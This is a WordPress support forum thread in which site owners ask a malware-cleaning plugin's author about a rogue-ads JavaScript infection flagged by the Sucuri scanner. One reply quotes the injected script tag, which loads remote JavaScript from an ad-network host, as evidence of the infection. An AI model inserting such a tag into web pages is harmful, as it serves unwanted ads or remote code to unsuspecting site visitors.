Site infection: MW:JS:GEN2?rogueads.unwanted_ads.1

  • Resolved mariuszo

    (@mariuszo)


    6 years, 7 months ago

    Hi Eli!
    Maybe you can help me find a solution for my problem: my website was infected with MW:JS:GEN2?rogueads.unwanted_ads.1 malware. I was using diferent security plugins trying to clean infection but no luck. I removed non standard core files, malicious code from theme function.php files, etc. Symptoms (random popup ads on menu items clicks) still existed.
    So i have instaled wordpress and plugins from scratches, only imported database copy.

    Now it looks like symptoms are gone but Sucuri scanner continously shows that website is infected: https://sitecheck.sucuri.net/results/matpol.no

    I have installed your plugin but scanner says it’s clean – no threats, no infected files.
    Additionally offline files search for infection scripts and phrases gives no result.

    Du you have experience with similiar issue or maybe you know what is going on? 🙂

    Thank you in Advance!

    The page I need help with: [log in to see the link]

Viewing 4 replies - 1 through 4 (of 4 total)
  • Plugin Author Eli

    (@scheeeli)

    6 years, 7 months ago

    Actually, your site is now clean. Sucuri caches their scan results so the link that you posted here was old and not relevant any more. I could see at the bottom of that page this note:
    *Cached results from the last 24 hrs.
    When I clicked on the “Force a Re-scan” link to clear the cache the site shows that it’s clean 😉

    Thread Starter mariuszo

    (@mariuszo)

    6 years, 7 months ago

    I knew that you are the only hope! 😉
    Thx for explanation.
    I think your plugin (donate version) will stay permanently installed on my website 🙂

    Cheers!

    getlusive

    (@getlusive)

    6 years, 4 months ago

    Hi,
    I’m hoping to get any help I could get as well. I used the plugin to scan my website and didn’t find the same script as Sucuri:

    https://img15.hostingpics.net/pics/895973Capture2.jpg

    <script type=”text/javascript” src=”//go.onclasrv.com/apu.php?zoneid=1453906″></script>

    https://sitecheck.sucuri.net/results/www.estetikatour.mobi

    Do you know how to remove the error found by Sucuri ?

    separator

    (@separator)

    6 years, 1 month ago

    hi there,
    i managed to clean this kind of virus but what is strange to me is that this virus infects my themes even when i work on localhost. i download a clean copy of everything (WP, theme, plugins etc), then after i work on the new site for a while i realize that the virus code on the functions.php file appears and also the files on the “wp-includes” folder.
    i made a virus check with Avast on the whole computer and it didnt find anything.
    how can i find how this is infecting my files on localhost.
    i think i have it somewhere on my computer which infects my themes before i upload them to the internet.

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Site infection: MW:JS:GEN2?rogueads.unwanted_ads.1’ is closed to new replies.